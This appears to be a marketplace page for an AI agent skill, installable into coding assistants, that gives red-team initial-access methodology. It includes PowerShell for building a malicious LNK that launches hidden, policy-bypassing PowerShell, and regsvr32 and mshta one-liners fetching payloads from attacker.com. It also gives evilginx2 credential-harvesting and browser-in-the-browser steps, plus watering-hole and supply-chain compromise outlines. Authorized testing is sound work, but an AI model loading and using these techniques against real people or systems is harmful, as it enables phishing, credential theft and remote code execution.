# Initial Access > Initial access methodology for authorized red team engagements. Covers phishing, payload delivery, drive-by compromise, supply chain entry points, and living-off-the-land initial access techniques. - Skill: `sunilgentyala/initial-access` (Agent Skill) - Install (CLI): `npx skillmds@latest add sunilgentyala/initial-access` - Raw SKILL.md: https://api.skillmd.com/api/skills/sunilgentyala/initial-access/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Coding & Dev Tools - License: Apache-2.0 - Author: sunilgentyala (https://skillmd.com/u/sunilgentyala) - Updated: 2026-09-17 - Page: https://skillmd.com/skills/sunilgentyala/initial-access --- # Initial Access ## Phishing — Email ### Payload types (in order of detection likelihood) ``` 1. Macro-enabled Office documents (.xlsm, .docm) — high detection 2. ISO/IMG containers (bypass Mark-of-the-Web) — medium detection 3. HTML smuggling — medium detection 4. LNK files — medium detection 5. PDF with embedded link — lower detection 6. QR code phishing (to mobile) — lowest detection ``` ### HTML Smuggling Deliver payload via JavaScript blob — bypasses email gateways that don't execute JS: ```html ``` ### LNK Payload ```powershell # Create malicious LNK $lnk = (New-Object -ComObject WScript.Shell).CreateShortcut("$env:TEMP\Update.lnk") $lnk.TargetPath = "C:\Windows\System32\cmd.exe" $lnk.Arguments = "/c powershell -w hidden -ep bypass -c [payload]" $lnk.IconLocation = "C:\Windows\System32\shell32.dll,3" $lnk.Save() ``` ## Phishing — Web (Drive-by) ``` Credential harvesting site: 1. Clone target's login page (SET / evilginx2) 2. Send link via spearphishing 3. Harvest credentials in real time Browser-in-the-Browser (BitB): 1. Overlay a fake browser popup simulating SSO login 2. Capture credentials before they reach the real SSO provider ``` ## Watering Hole 1. Identify websites frequently visited by target employees (industry forums, tools, regional news) 2. Compromise one of those sites 3. Inject exploit code or credential-harvesting redirect 4. Wait for target employees to visit ## Supply Chain Entry ``` 1. Compromise a software vendor used by the target 2. Inject payload into software update 3. Target deploys "legitimate" update 4. Payload executes with software's privileges ``` ## Initial Execution (post-delivery) ```powershell # Macro-free execution via PowerShell powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand [BASE64] # Regsvr32 (squiblydoo) regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll # MSHTA mshta http://attacker.com/payload.hta ``` ## Tools - [GoPhish](https://github.com/gophish/gophish) — phishing campaign management - [Evilginx2](https://github.com/kgretzky/evilginx2) — adversary-in-the-middle phishing - [msfvenom](https://metasploit.com) — payload generation - [Donut](https://github.com/TheWover/donut) — shellcode generation from .NET ## MITRE ATT&CK - T1566 — Phishing - T1189 — Drive-by Compromise - T1195 — Supply Chain Compromise